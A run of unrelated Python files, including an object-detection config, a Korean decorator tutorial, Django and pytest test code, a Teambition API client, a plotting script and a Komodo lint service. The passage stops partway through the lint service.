img_prefix=data_root + 'val2017/', pipeline=test_pipeline), test=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_val2017.json', img_prefix=data_root + 'val2017/', pipeline=test_pipeline)) evaluation = dict(interval=1, metric='bbox') # optimizer optimizer = dict(type='SGD', lr=0.01, momentum=0.9, weight_decay=0.0001) optimizer_config = dict(grad_clip=dict(max_norm=35, norm_type=2)) # learning policy lr_config = dict( policy='step', warmup='linear', warmup_iters=500, warmup_ratio=1.0 / 3, step=[8, 11]) checkpoint_config = dict(interval=1) # yapf:disable log_config = dict( interval=50, hooks=[ dict(type='TextLoggerHook'), # dict(type='TensorboardLoggerHook') ]) # yapf:enable # runtime settings total_epochs = 12 dist_params = dict(backend='nccl') log_level = 'INFO' work_dir = './work_dirs/bbox_r50_grid_center_fpn_1x' load_from = None resume_from = None workflow = [('train', 1)]

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2023-01-06T04:37:32.208248

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''' decorator decorator의 사전적 의미는 장식가, 도배업자 python에서 Decorator는 기존의 코드에 여러가지 기능을 추가하는 python구문이라고 이해하면 편해요! Closure first class에 대해서 알아보았어요 first class function(일급함수) : 파이썬은 일급함수를 지원하는 언어 1. 파이썬의 함수는 변수에 저장할 수 있어요! 2. 함수의 인자로 함수를 이용할 수 있어요! > decorator / 프로그램의 확정성 생산성을 높이기 위함 3. 함수의 결과값(리턴값)으로 함수를 이용할 수 있어요! > closure ''' # # def my_outer_func(func): # # def my_inner_func(): # # func() # # return my_inner_func #해당함수 코드를 리턴 // ()해당함수의 실행의 결과를 리턴 # # # # def my_func(): # # return print("my_func() 함수가 호출되었어요!!") # # # # decorated_my_func = my_outer_func(my_func) # # decorated_my_func() #my_func() 함수가 호출되었어요!! # # my_func() #my_func() 함수가 호출되었어요!! # # import time # # def my_outer_func(func): # 목적은 my_func의 기능을 확장시키기 위함! # def my_inner_func(): # print("{} 함수 수행 시간을 계산합니다.".format(func.__name__)) # start = time.time() # 1970년 1월 1일 0시 0분 0초 0 # func() # end = time.time() # print("함수 수행 시간은 {} 계산합니다.".format(start-end)) # return my_inner_func #해당함수 코드를 리턴 // ()해당함수의 실행의 결과를 리턴 # # # def my_func(): # # return print("my_func() 함수가 호출되었어요!!") # # # decorated_my_func = my_outer_func(my_func) # # decorated_my_func() #my_func() 함수가 호출되었어요!! // 함수자체의 기능을 수정하지 않고 함수의 기능을 수정할 수 있 # # my_func() #my_func() 함수가 호출되었어요!! # # # closure vs decorator // 새로운 기능 추가되는 것을 리턴하는것 # # @my_outer_func # decorator 기능을 추가한 my_func를 리턴 # def my_func(): # return print("my_func() 함수가 호출되었어요!!") # # # my_func() # ''' # my_func 함수 수행 시간을 계산합니다. # my_func() 함수가 호출되었어요!! # 함수 수행 시간은 -5.7220458984375e-06 계산합니다. # ''' ############################################################# # def print_user_name(*args): # 인자로 들어온 사람의 이름을 출력 / 정해지지 않는 # # args는 tuple로 받아요! # for name in args: # print(name) # print_user_name("홍길동", "신사임당") #이렇게도 가능 # print_user_name("홍길동", "신사임당", "유관순") #이렇게도 가능 ''' 홍길동 신사임당 홍길동 신사임당 유관순 ''' # def print_user_name(**kwargs): # 관용적으로 **kwargs 표기 # # kkargs는 dict로 받아요! # for name in kwargs.values(): # key, value로 구분 # #print(kwargs.get(name)) # get 을 통해서 추출가능 # print(name) # print_user_name(name1 = "홍길동", name2= "신사임당") #이렇게도 가능 ## 받는 함수의 인자의 개수가 다를경우 # def my_outer(func): # def my_inner(*args, **kwargs): # decorator의 인자의 개수를 예측하기 힘들기에 *args, **kwargs 를 적용하여 인자문제 해결 # print("데코레이터!! 시작") # func(*args, **kwargs) # *args, **kwargs # print("데코레이터!! 끝") # # return my_inner # # @my_outer # def my_func(): # print("이것은 소리없는 아우성!!") # @my_outer # def my_add(x,y): # print("두 수의 합은 : {}".format(x+y)) # # # my_func() # ''' # 데코레이터!! 시작 # 이것은 소리없는 아우성!! # 데코레이터!! 끝 # ''' # # my_add(1,2) # # ''' # 데코레이터!! 시작 # 두 수의 합은 : 3 # 데코레이터!! 끝 # ''' # 블로그!! ## 티스토리추천 ##http://moon9342.github.io

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hans53400@naver.com

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def fraction( a, b ): try: return "%.1f" % ( float( a ) / float( b ) ) except ( ValueError, ZeroDivisionError ): return "ERR"

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""" WSGI config for api project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'settings.settings') application = get_wsgi_application()

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import pytest from solve import count_sum_lists def test1(): A = [1, 2, 8] k = 1000 B = 2 res = count_sum_lists(A, k, B) assert res == 3 def test2(): A = [5, 17, 10000, 11] k = 1000 B = 4 res = count_sum_lists(A, k, B) assert res == 0

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# -*- coding: UTF-8 -*- import requests import json import pymysql from pymysql import cursors import time import urllib import codecs from datetime import datetime, date, timedelta # pip install PyJWT import jwt import sys # reload(sys) # sys.setdefaultencoding('utf8') from settings import SETTINGS class TeambitionHelp: __tbAppId = "" # api token __tbSecrect = "" __accessToken = "" def __init__(self): self.__tbAppId = SETTINGS["TB_APP_ID"] self.__tbSecrect = SETTINGS["TB_APP_SECRECT"] expire_time = int(time.time() + 3600) # 1 小时后超时 encoded = jwt.encode({'_appId': self.__tbAppId, 'exp': expire_time}, self.__tbSecrect, algorithm='HS256') # print(encoded) encoded_str = str(encoded, encoding='utf-8') # print(encoded_str) self.__accessToken = encoded_str def __getAuthHeaders(self): return {'Authorization': 'Bearer '+ self.__accessToken,'X-Tenant-Id':SETTINGS['TB_ORG_ID'],'X-Tenant-Type':'organization'} def logf(self,content): logContent = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) + " " + content + "\n" logFile = codecs.open(SETTINGS['LOG_FILE'], 'a', encoding='utf-8') logFile.write(logContent) print(logContent) logFile.close() def getOrgInfo(self): res = requests.get(SETTINGS["URL_TB_GET_ORG_INFO"] + "?orgId="+ SETTINGS["TB_ORG_ID"],headers=self.__getAuthHeaders()) print(res.content.decode("utf-8")) # resJson = json.loads(res.content.decode("utf-8")) def getTaskGroup(self,groupId): res = requests.get(SETTINGS["URL_TB_GET_TASK_GROUP"] + "?projectId="+ groupId,headers=self.__getAuthHeaders()) print(res.content.decode("utf-8")) resJson = json.loads(res.content.decode("utf-8")) return resJson.get("result") def getTaskList(self,taskListId): res = requests.get(SETTINGS["URL_TB_GET_TASK_LIST"] + "?tasklistId="+ taskListId,headers=self.__getAuthHeaders()) print(res.content.decode("utf-8")) resJson = json.loads(res.content.decode("utf-8")) return resJson.get("result") def getTasksByTql(self,tql): res = requests.post(SETTINGS["URL_TB_GET_TASK_TQL"] ,json={"tql":tql},headers=self.__getAuthHeaders()) print(res.content.decode("utf-8")) resJson = json.loads(res.content.decode("utf-8")) return resJson.get("result") def main(): teambitionHelp = TeambitionHelp() # groupList = teambitionHelp.getTaskGroup(SETTINGS["TB_PROJECT_ID_DEVELOP"]) # for group in groupList: # print(group.get("name")) # # print(group.get("tasklistIds")) # for taskListId in group.get("tasklistIds"): # print(teambitionHelp.getTaskList(taskListId)) tasks = teambitionHelp.getTasksByTql("projectId=" + SETTINGS["TB_PROJECT_ID_DEVELOP"] + " AND id = 5e78xxxxxxx7880 " ) for task in tasks: print(task) print("\n") if __name__ == '__main__': main()

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import matplotlib.pyplot as plt import seaborn as sns import numpy as np import pandas as pd import os import matplotlib as mpl #from Unicorn.Figures import nature_guidline_utils from dark import cmap_map from URA_paper.Figures import nature_guidline_utils sns.set_style("ticks", {'axes.edgecolor': 'black'}) pd.set_option('display.width', 1000) np.set_printoptions(precision=4, linewidth=200) FIGURES_DIR = '/net/mraid08/export/jafar/Microbiome/Analyses/Unicorn/Cohort_Paper/revision_Analyses/figures' params = { 'axes.labelsize': 10, 'font.size': 10, 'legend.fontsize': 10, 'xtick.labelsize': 8, 'ytick.labelsize': 8, 'figure.dpi': 300, 'axes.linewidth': 0.5, } fontsize = 10 plt.rcParams.update(params) fig = plt.figure(figsize=(nature_guidline_utils.two_columns(), nature_guidline_utils.full_page()*0.8*0.2), dpi=300) # m2inch(165) import matplotlib.gridspec as gridspec green=(47./255,142./255,52./255) violet = (106./255,111./255,205./255) two_colors = [violet,green]#colors_rgb[-2:] axdrest_grid_bottom = gridspec.GridSpec(1,3,wspace=0.7,width_ratios=[1./3,1./3,1./3]) ax__age_saturation = plt.subplot(axdrest_grid_bottom[0,0]) ax__hba1c_saturation = plt.subplot(axdrest_grid_bottom[0,1]) ax__bmi_saturation = plt.subplot(axdrest_grid_bottom[0,2]) plt.sca(ax__age_saturation) plt.text(-.53, 1.15, 'a', ha='center', va='center', transform=ax__age_saturation.transAxes, fontsize=16) saturation_df=pd.read_csv(os.path.join(FIGURES_DIR,'Figures - age_saturation_US.csv')) saturation_df.sort_values(by='cohort_size',inplace=True) saturation_df.loc[:,['mean_pearson','mean_std']] = saturation_df.loc[:,['mean_pearson','mean_std']].mul(100) ax__age_saturation.errorbar(saturation_df['cohort_size'],saturation_df['mean_pearson'], yerr=saturation_df['mean_std'],color=two_colors[0]) saturation_df.loc[:,['mean_pearson_linear','mean_std_linear']] = saturation_df.loc[:,['mean_pearson_linear','mean_std_linear']].mul(100) ax__age_saturation.errorbar(saturation_df['cohort_size'],saturation_df['mean_pearson_linear'], yerr=saturation_df['mean_std_linear'],color=two_colors[1]) ax__age_saturation.tick_params(top='off',right='off',pad=2,labelsize=fontsize) ax__age_saturation.yaxis.set_ticks_position('left') ax__age_saturation.xaxis.set_ticks_position('bottom') ax__age_saturation.spines['right'].set_visible(False) ax__age_saturation.spines['top'].set_visible(False) ax__age_saturation.set_xlim([0,20000]) ax__age_saturation.set_xticks([0,10000,20000]) plt.ylim(0,20) ax__age_saturation.set_yticks([0,10,20]) plt.xlabel('Sample size') plt.ylabel('age $R^{2}$ (%)') plt.legend(['GBDT','Ridge'],bbox_to_anchor=(1.15, 0.0),frameon=False,loc=4) plt.sca(ax__hba1c_saturation) plt.text(-0.2, 1.15, 'b', ha='center', va='center', transform=ax__hba1c_saturation.transAxes, fontsize=16) saturation_df=pd.read_csv(os.path.join(FIGURES_DIR,'Figures - hba1c_saturation_US.csv')) saturation_df.sort_values(by='cohort_size',inplace=True) saturation_df.loc[:,['mean_pearson','mean_std']] = saturation_df.loc[:,['mean_pearson','mean_std']].mul(100) ax__hba1c_saturation.errorbar(saturation_df['cohort_size'],saturation_df['mean_pearson'], yerr=saturation_df['mean_std'],color=two_colors[0]) saturation_df.loc[:,['mean_pearson_linear','mean_std_linear']] = saturation_df.loc[:,['mean_pearson_linear','mean_std_linear']].mul(100) ax__hba1c_saturation.errorbar(saturation_df['cohort_size'],saturation_df['mean_pearson_linear'], yerr=saturation_df['mean_std_linear'],color=two_colors[1]) ax__hba1c_saturation.tick_params(top='off',right='off',pad=2,labelsize=fontsize) ax__hba1c_saturation.yaxis.set_ticks_position('left') ax__hba1c_saturation.xaxis.set_ticks_position('bottom') ax__hba1c_saturation.spines['right'].set_visible(False) ax__hba1c_saturation.spines['top'].set_visible(False) ax__hba1c_saturation.set_xlim([0,16000]) ax__hba1c_saturation.set_xticks([0,7500,15000]) plt.ylim(0,10) ax__hba1c_saturation.set_yticks([0,5,10])#,20]) plt.xlabel('Sample size') plt.ylabel('HbA1C% $R^{2}$ (%)') plt.sca(ax__bmi_saturation) plt.text(-.25, 1.15, 'c', ha='center', va='center', transform=ax__bmi_saturation.transAxes, fontsize=16) saturation_df=pd.read_csv(os.path.join(FIGURES_DIR,'Figures - bmi_saturation_US.csv')) saturation_df.sort_values(by='cohort_size',inplace=True) saturation_df.loc[:,['mean_pearson','mean_std']] = saturation_df.loc[:,['mean_pearson','mean_std']].mul(100) ax__bmi_saturation.errorbar(saturation_df['cohort_size'],saturation_df['mean_pearson'], yerr=saturation_df['mean_std'],color=two_colors[0]) saturation_df.loc[:,['mean_pearson_linear','mean_std_linear']] = saturation_df.loc[:,['mean_pearson_linear','mean_std_linear']].mul(100) ax__bmi_saturation.errorbar(saturation_df['cohort_size'],saturation_df['mean_pearson_linear'], yerr=saturation_df['mean_std_linear'],color=two_colors[1]) ax__bmi_saturation.tick_params(top='off',right='off',pad=2,labelsize=fontsize) ax__bmi_saturation.yaxis.set_ticks_position('left') ax__bmi_saturation.xaxis.set_ticks_position('bottom') ax__bmi_saturation.spines['right'].set_visible(False) ax__bmi_saturation.spines['top'].set_visible(False) ax__bmi_saturation.set_xlim([0,20000]) ax__bmi_saturation.set_xticks([0,10000,20000]) ax__bmi_saturation.set_yticks([0,5,10,15]) plt.xlabel('Sample size') # plt.ylabel('') plt.ylabel('BMI $R^{2}$ (%)') plt.ylim(0,15) plt.savefig(os.path.join(FIGURES_DIR, 'figureS_4.pdf'), bbox_inches='tight', format='pdf') plt.savefig(os.path.join(FIGURES_DIR, 'figureS_4.png'), bbox_inches='tight', format='png')

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import sys, unittest from tools import SamplesTestCase OUTPUT_FOR_GLOBALS = '''\ Found global named "gfloat": type = float* Found global named "gppfloat": type = float*** Found global named "gint": type = i32* ''' PROG = 'simple_module_pass' class TestSimpleModulePass(SamplesTestCase): def test_on_globals(self): self.assertSampleOutput([PROG], 'globals.ll', OUTPUT_FOR_GLOBALS) if __name__ == '__main__': unittest.main()

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eliben@gmail.com

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/bugzilla/migrations/0002_auto_20170205_1515.py

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quentin-david/heimdall

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# -*- coding: utf-8 -*- # Generated by Django 1.10.4 on 2017-02-05 15:15 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('bugzilla', '0001_initial'), ] operations = [ migrations.AlterModelOptions( name='bugzilla', options={'ordering': ['-date_update']}, ), migrations.AlterField( model_name='bugzilla', name='state', field=models.CharField(choices=[('open', 'Open'), ('close', 'Close'), ('info', 'Info')], max_length=15), ), ]

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nathanin/svsutils

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from .iterator_factory import PythonIterator, TensorflowIterator __all__ = [ 'PythonIterator', 'TensorflowIterator' ]

[ "ing.nathany@gmail.com" ]

ing.nathany@gmail.com

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/old/pddbm/bug3.py

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sarahboufelja54/galatea

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import numpy as np from sklearn.svm import SVC import time rng = np.random.RandomState([1,2,3]) m = 1000 n = 1000 X = rng.randn(m,n) w = rng.randn(n) b = rng.randn(1) y = (np.dot(X,w) + b ) > 0 t1 = time.time() svm = SVC(kernel = 'linear', C = 1.0).fit(X,y) t2 = time.time() print 'train time ',t2 - t1 t1 = time.time() y1 = svm.predict(X) t2 = time.time() print 'predict time ',t2 - t1 print '# support vectors:',svm.n_support_ print 'predict time per support vector:',(t2-t1)/float(svm.n_support_.sum()) coef = svm.coef_[0,:] orig_coef = svm.coef_ t1 = time.time() f = - np.dot(X, orig_coef.T) + svm.intercept_ y2 = f < 0 print y.shape print y2.shape print (y2 == y).shape quit(-1) t2 = time.time() print 'dot product time',t2 -t1 print 'class 1 prevalence ',y.mean() print 'predict accuracy ',(y1 == y).mean() print 'dot product accuracy ',(y2 == y).mean() print 'predict and dot agreement rate',(y1 == y2).mean() coefs = svm.dual_coef_ assert len(coefs.shape) == 2 assert coefs.shape[0] == 1 coefs = coefs[0,:] w = np.dot(svm.support_vectors_.T, coefs) assert np.allclose(w,-coef) f = np.dot(X,w) + b y3 = (f < 0) print 'agreement rate with my method: ',(y3 == y1).mean() print 'dot prod between sklearn coef_ and my coef_: ',np.dot(w,svm.coef_[0,:])

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goodfellow.ian@gmail.com

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/tests/pipelines/cnv_calling/test_xhmm_pca.py

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from unittest.mock import MagicMock import pytest from paip.pipelines.cnv_calling.xhmm_pca import XhmmPCA, EmptyInputMatrix @pytest.fixture def task(cohort_task_factory): return cohort_task_factory(XhmmPCA) def test_check_matrix(task): # NOTE: Run this test before the next one, because the tested method # check_matrix() will be mocked in test_run(). empty_matrix = pytest.helpers.file('empty_matrix.txt') with pytest.raises(EmptyInputMatrix): task.check_matrix(empty_matrix) def test_run(task, mock_rename): check_matrix = MagicMock() task.check_matrix = check_matrix task.run() check_matrix.assert_called_once() (command, ), kwargs = task.run_command.call_args assert 'xhmm --PCA' in command assert 'DATA.filtered_centered.RD.txt' in command assert 'DATA-temp.RD_PCA' in command assert mock_rename.call_count == 3 assert 'DATA-temp.RD_PCA' in mock_rename.call_args[0][0] assert 'DATA.RD_PCA' in mock_rename.call_args[0][1]

[ "juanmaberros@gmail.com" ]

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from datetime import datetime, timedelta import django from django.conf import settings from django.test import TestCase django.setup() # todo: how to run tests from PyCharm without this workaround? from auth.models import Code from club.exceptions import RateLimitException, InvalidCode from users.models.user import User class ModelCodeTests(TestCase): @classmethod def setUpTestData(cls): # Set up data for the whole TestCase cls.new_user: User = User.objects.create( email="testemail@xx.com", membership_started_at=datetime.now() - timedelta(days=5), membership_expires_at=datetime.now() + timedelta(days=5), ) def test_create_code_positive(self): recipient = "success@a.com" code = Code.create_for_user(user=self.new_user, recipient=recipient, length=settings.AUTH_CODE_LENGTH) self.assertEqual(code.recipient, recipient) self.assertEqual(self.new_user.id, code.user_id) self.assertEqual(len(code.code), settings.AUTH_CODE_LENGTH) self.assertAlmostEqual(code.expires_at.second, (datetime.utcnow() + timedelta(minutes=15)).second, delta=5) def test_create_code_ratelimit(self): recipient = "ratelimit@a.com" # override the AUTH_MAX_CODE_TIMEDELTA setting with self.settings(AUTH_MAX_CODE_COUNT=1): code = Code.create_for_user(user=self.new_user, recipient=recipient, length=settings.AUTH_CODE_LENGTH) self.assertEqual(len(code.code), settings.AUTH_CODE_LENGTH) # second attempt should rise exception with self.assertRaises(RateLimitException): Code.create_for_user(user=self.new_user, recipient=recipient) def test_create_code_reset_ratelimit(self): recipient = "ratelimit@a.com" with self.settings(AUTH_MAX_CODE_COUNT=1): code = Code.create_for_user(user=self.new_user, recipient=recipient, length=settings.AUTH_CODE_LENGTH) self.assertEqual(len(code.code), settings.AUTH_CODE_LENGTH) # move creation time to deep enough past code.created_at = datetime.utcnow() - settings.AUTH_MAX_CODE_TIMEDELTA - timedelta(seconds=1) code.save() # no exception raises code = Code.create_for_user(user=self.new_user, recipient=recipient) self.assertEqual(len(code.code), settings.AUTH_CODE_LENGTH) def test_check_code_positive(self): recipient = "success@a.com" code = Code.create_for_user(user=self.new_user, recipient=recipient, length=settings.AUTH_CODE_LENGTH) user = Code.check_code(recipient=recipient, code=code.code) self.assertEqual(user.id, self.new_user.id) def test_check_code_which_is_incorrect(self): with self.assertRaises(InvalidCode): Code.check_code(recipient="failed@xxx.com", code="failed") def test_check_code_twice(self): recipient = "success@a.com" code = Code.create_for_user(user=self.new_user, recipient=recipient, length=settings.AUTH_CODE_LENGTH) Code.check_code(recipient=recipient, code=code.code) # activate first time with self.assertRaises(InvalidCode): Code.check_code(recipient=recipient, code=code.code) def test_check_code_which_is_not_last_one(self): # issue few codes recipient = "fewcodes@a.com" code1: Code = Code.create_for_user(user=self.new_user, recipient=recipient, length=settings.AUTH_CODE_LENGTH) code2: Code = Code.create_for_user(user=self.new_user, recipient=recipient, length=settings.AUTH_CODE_LENGTH) # for stability test runs code2.created_at -= timedelta(seconds=1) code2.save() with self.assertRaises(InvalidCode): Code.check_code(recipient=recipient, code=code2.code) # first one is successful user = Code.check_code(recipient=recipient, code=code1.code) self.assertEqual(user.id, self.new_user.id) def test_check_code_which_is_for_other_user(self): recipient_right = "true-user@a.com" recipient_wrong = "wrong-user@x.com" code = Code.create_for_user(user=self.new_user, recipient=recipient_right, length=settings.AUTH_CODE_LENGTH) with self.assertRaises(InvalidCode): Code.check_code(recipient=recipient_wrong, code=code.code) def test_check_code_when_exceeded_attempts_count(self): recipient = "exceeded_attemts@a.com" code = Code.create_for_user(user=self.new_user, recipient=recipient, length=settings.AUTH_CODE_LENGTH) # override the AUTH_MAX_CODE_TIMEDELTA setting with self.settings(AUTH_MAX_CODE_ATTEMPTS=1): # first attempt with self.assertRaises(InvalidCode): Code.check_code(recipient=recipient, code="wrong_attempt") # second attempt should rise ratelimit exception with self.assertRaises(RateLimitException): Code.check_code(recipient=recipient, code=code.code) def test_check_code_which_is_expired(self): recipient = "expired@a.com" code = Code.create_for_user(user=self.new_user, recipient=recipient, length=settings.AUTH_CODE_LENGTH) code.expires_at = datetime.utcnow() - timedelta(seconds=1) code.save() with self.assertRaises(InvalidCode): Code.check_code(recipient=recipient, code=code.code)

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#!python # ***** BEGIN LICENSE BLOCK ***** # Version: MPL 1.1/GPL 2.0/LGPL 2.1 # # The contents of this file are subject to the Mozilla Public License # Version 1.1 (the "License"); you may not use this file except in # compliance with the License. You may obtain a copy of the License at # http://www.mozilla.org/MPL/ # # Software distributed under the License is distributed on an "AS IS" # basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the # License for the specific language governing rights and limitations # under the License. # # The Original Code is Komodo code. # # The Initial Developer of the Original Code is ActiveState Software Inc. # Portions created by ActiveState Software Inc are Copyright (C) 2000-2007 # ActiveState Software Inc. All Rights Reserved. # # Contributor(s): # ActiveState Software Inc # # Alternatively, the contents of this file may be used under the terms of # either the GNU General Public License Version 2 or later (the "GPL"), or # the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), # in which case the provisions of the GPL or the LGPL are applicable instead # of those above. If you wish to allow use of your version of this file only # under the terms of either the GPL or the LGPL, and not to allow others to # use your version of this file under the terms of the MPL, indicate your # decision by deleting the provisions above and replace them with the notice # and other provisions required by the GPL or the LGPL. If you do not delete # the provisions above, a recipient may use your version of this file under # the terms of any one of the MPL, the GPL or the LGPL. # # ***** END LICENSE BLOCK ***** import os, sys import threading import time import urllib2 from xpcom import components, nsError, ServerException, COMException from xpcom._xpcom import PROXY_SYNC, PROXY_ALWAYS, PROXY_ASYNC, getProxyForObject from xpcom.server import WrapObject, UnwrapObject from koLintResult import KoLintResult, getProxiedEffectivePrefs from koLintResults import koLintResults import logging log = logging.getLogger("koLintService") #log.setLevel(logging.DEBUG) class RequestQueue: # This is a modification if Python's std Queue.Queue class: # - drop maxsize related stuff # - calls are always blocking # - add .prepend() and .remove_uid() def __init__(self): import thread self._init() self.mutex = thread.allocate_lock() self.esema = thread.allocate_lock() # if acquired, then queue is empty self.esema.acquire() def put(self, item): """Put an item into the queue.""" log.debug("in RequestQueue.put, acquiring mutex") self.mutex.acquire() log.debug("in RequestQueue.put, acquired mutex") try: was_empty = self._empty() self._append(item) # If we fail before here, the empty state has # not changed, so we can skip the release of esema if was_empty: log.debug("in RequestQueue.put, releasing esema") self.esema.release() finally: # Catching system level exceptions here (RecursionDepth, # OutOfMemory, etc) - so do as little as possible in terms # of Python calls. log.debug("in RequestQueue.put, releasing mutex") self.mutex.release() def prepend(self, item): """Prepend an item to the queue.""" log.debug("in RequestQueue.prepend, acquiring mutex") self.mutex.acquire() log.debug("in RequestQueue.prepend, acquired mutex") try: was_empty = self._empty() self._prepend(item) # If we fail before here, the empty state has # not changed, so we can skip the release of esema if was_empty: log.debug("in RequestQueue.prepend, releasing esema") self.esema.release() finally: # Catching system level exceptions here (RecursionDepth, # OutOfMemory, etc) - so do as little as possible in terms # of Python calls. log.debug("in RequestQueue.prepend, releasing mutex") self.mutex.release() def get(self): """Remove and return an item from the queue. Block if necessary until an item is available. """ log.debug("in RequestQueue.get, acquiring esema") self.esema.acquire() log.debug("in RequestQueue.get, acquired esema") log.debug("in RequestQueue.get, acquiring mutex") self.mutex.acquire() log.debug("in RequestQueue.get, acquired mutex") release_esema = 1 try: item = self._get() # Failure means empty state also unchanged - release_esema # remains true. release_esema = not self._empty() finally: if release_esema: log.debug("in RequestQueue.get, releasing esema") self.esema.release() log.debug("in RequestQueue.get, releasing mutex") self.mutex.release() return item def remove_uid(self, uid): """Remove all current requests with the given uid. Does not return anything. """ log.debug("in RequestQueue.remove_uid, acquiring esema") if not self.esema.acquire(0): # do not block to acquire lock # return if could not acquire: means queue is empty and # therefore do not have any items to remove log.debug("in RequestQueue.remove_uid, did not acquire esema") return log.debug("in RequestQueue.remove_uid, acquired mutex") log.debug("in RequestQueue.remove_uid, acquiring mutex") self.mutex.acquire() release_esema = 1 try: self._remove_uid(uid) # Failure means empty state also unchanged - release_esema # remains true. release_esema = not self._empty() finally: if release_esema: log.debug("in RequestQueue.remove_uid, releasing esema") self.esema.release() log.debug("in RequestQueue.remove_uid, releasing mutex") self.mutex.release() #---- Override these methods to implement other queue organizations # (e.g. stack or priority queue). These will only be called with # appropriate locks held. # Initialize the queue representation def _init(self): self.queue = [] # Check whether the queue is empty def _empty(self): return not self.queue # Put a new item in the queue def _append(self, item): self.queue.append(item) def _prepend(self, item): self.queue.insert(0, item) # Get an item from the queue def _get(self): item = self.queue[0] del self.queue[0] return item # Remove all requests with the given uid. def _remove_uid(self, uid): self.queue = [item for item in self.queue if hasattr(item, "uid") and item.uid != uid] class _GenericAggregator(object): _com_interfaces_ = [components.interfaces.koILinter] _reg_desc_ = "Komodo Generic Aggregate Linter" _reg_clsid_ = "{b68f4ff8-f37e-45d1-970e-88b964e7096d}" _reg_contractid_ = "@activestate.com/koGenericLinterAggregator;1" def initialize(self, languageName, koLintService): self._languageName = languageName self._koLintService = koLintService def lint(self, request): text = request.content.encode(request.encoding.python_encoding_name) return self.lint_with_text(request, text) def lint_with_text(self, request, text): linters = self._koLintService.getTerminalLintersForLanguage(self._languageName) finalLintResults = koLintResults() for linter in linters: try: newLintResults = UnwrapObject(linter).lint_with_text(request, text) except: log.exception("lint_with_text exception") else: if newLintResults and newLintResults.getNumResults(): if finalLintResults.getNumResults(): finalLintResults = finalLintResults.addResults(newLintResults) else: finalLintResults = newLintResults return finalLintResults class KoLintRequest: _com_interfaces_ = [components.interfaces.koILintRequest] _reg_desc_ = "Komodo Lint Request" _reg_clsid_ = "{845A872F-293F-4a82-8552-40849A92EC80}" _reg_contractid_ = "@activestate.com/koLintRequest;1" def __init__(self): self.rid = None self._koDoc = None self.uid = '' self.linterType = '' self.cwd = '' self.content = None self.encoding = None self.linter = None self.results = None self.errorString = '' @property def document(self): import warnings warnings.warn("`koILintRequest.document` was DEPRECATED in Komodo " "6.0.0b1, use `koILintRequest.koDoc`.", DeprecationWarning) return self.koDoc @property def koDoc(self): return self._koDoc def get_koDoc(self): return self._koDoc def set_koDoc(self, val): # Access to the koDoc *must* be from the main thread, otherwise # Komodo may crash! self._koDoc = getProxyForObject(1, components.interfaces.koIDocument, val, PROXY_ALWAYS | PROXY_SYNC) def describe(self): return "<KoLintRequest: %s on uid %s>" % (self.linterType, self.uid) class KoLintService: _com_interfaces_ = [components.interfaces.koILintService, components.interfaces.nsIObserver] _reg_desc_ = "Komodo Lint Management Service" _reg_clsid_ = "{9FD67601-CB60-411D-A212-ED21B3D25C15}" _reg_contractid_ = "@activestate.com/koLintService;1" def __init__(self): log.info("KoLintService.__init__()") self._linterCache = {} # mapping of linterCID to koILinter instance self.requests = RequestQueue() # an item of None is the quit sentinel self._shuttingDown = 0 self.manager = threading.Thread(target=self.run, name="Linter") self.manager.setDaemon(True) self.manager.start() self._wrapped = WrapObject(self, components.interfaces.nsIObserver) _observerSvc = components.classes["@mozilla.org/observer-service;1"].\ getService(components.interfaces.nsIObserverService) _observerSvc.addObserver(self._wrapped, 'xpcom-shutdown', 1) self._prefs = components.classes["@activestate.com/koPrefService;1"].\ getService(components.interfaces.koIPrefService).prefs # dict of { 'terminals' => array of linters, 'aggregators' => array of linters } self._linterCIDsByLanguageName = {} # Init it now, pay the price of walking through the categories now... catman = components.classes["@mozilla.org/categorymanager;1"].\ getService(components.interfaces.nsICategoryManager) categoryName = 'category-komodo-linter-aggregator' names = catman.enumerateCategory(categoryName) while names.hasMoreElements(): nameObj = names.getNext() rawName, fixedName = self._getCategoryNameFromNameObj(nameObj) cid = catman.getCategoryEntry(categoryName, rawName) if not self._linterCIDsByLanguageName.has_key(fixedName): self._linterCIDsByLanguageName[fixedName] = {'terminals':[], 'aggregator':cid} else: log.warn("Possible Problem: more than one entry for linter aggregator %s (was %s), now %s", name, self._linterCIDsByLanguageName[fixedName]['aggregator'], cid) self._linterCIDsByLanguageName[fixedName]['aggregator'] = cid categoryName = 'category-komodo-linter' names = catman.enumerateCategory(categoryName) while names.hasMoreElements(): nameObj = names.getNext() rawName, fixedName = self._getCategoryNameFromNameObj(nameObj) idx = fixedName.find("&type=") if idx == -1: languageName = fixedName else: languageName = fixedName[:idx] cid = catman.getCategoryEntry(categoryName, rawName) if not self._linterCIDsByLanguageName.has_key(languageName): self._linterCIDsByLanguageName[languageName] = {'terminals':[], 'aggregator':None} self._linterCIDsByLanguageName[languageName]['terminals'].append(cid) #log.debug("Loaded these linters: %s", self._linterCIDsByLanguageName) def _getCategoryNameFromNameObj(self, nameObj): nameObj.QueryInterface(components.interfaces.nsISupportsCString) rawName = nameObj.data try: fixedName = urllib2.unquote(rawName) except: fixedName = rawName return rawName, fixedName def getLinter_CID_ForLanguage(self, languageName): return self._getLinterCIDByLanguageName(languageName) def observe(self, subject, topic, data): #print "file status service observed %r %s %s" % (subject, topic, data) if topic == 'xpcom-shutdown': log.debug("file status got xpcom-shutdown, unloading"); self.terminate() def terminate(self): log.info("KoLintService.terminate()") self.requests.prepend(None) # prepend the quit sentinel self._shuttingDown = 1 # Do NOT attempt to .join() the manager thread because it is nigh on # impossible to avoid all possible deadlocks. def getTerminalLintersForLanguage(self, languageName): return [self._getLinterByCID(cid) for cid in self._linterCIDsByLanguageName[languageName]['terminals']] GENERIC_LINTER_AGGREGATOR_CID = "@activestate.com/koGenericLinterAggregator;1" def _getLinterCIDByLanguageName(self, languageName): try: linters = self._linterCIDsByLanguageName[languageName] except KeyError: self._linterCIDsByLanguageName[languageName] = {'aggregator':None, 'terminals':[], 'generated':True} return None # If there's no explicit aggregator, return the first terminal linter. # If there isn't one, throw the ItemError all the way to top-level if linters['aggregator'] is not None: return linters['aggregator'] if len(linters['terminals']) != 1: if len(linters['terminals']) == 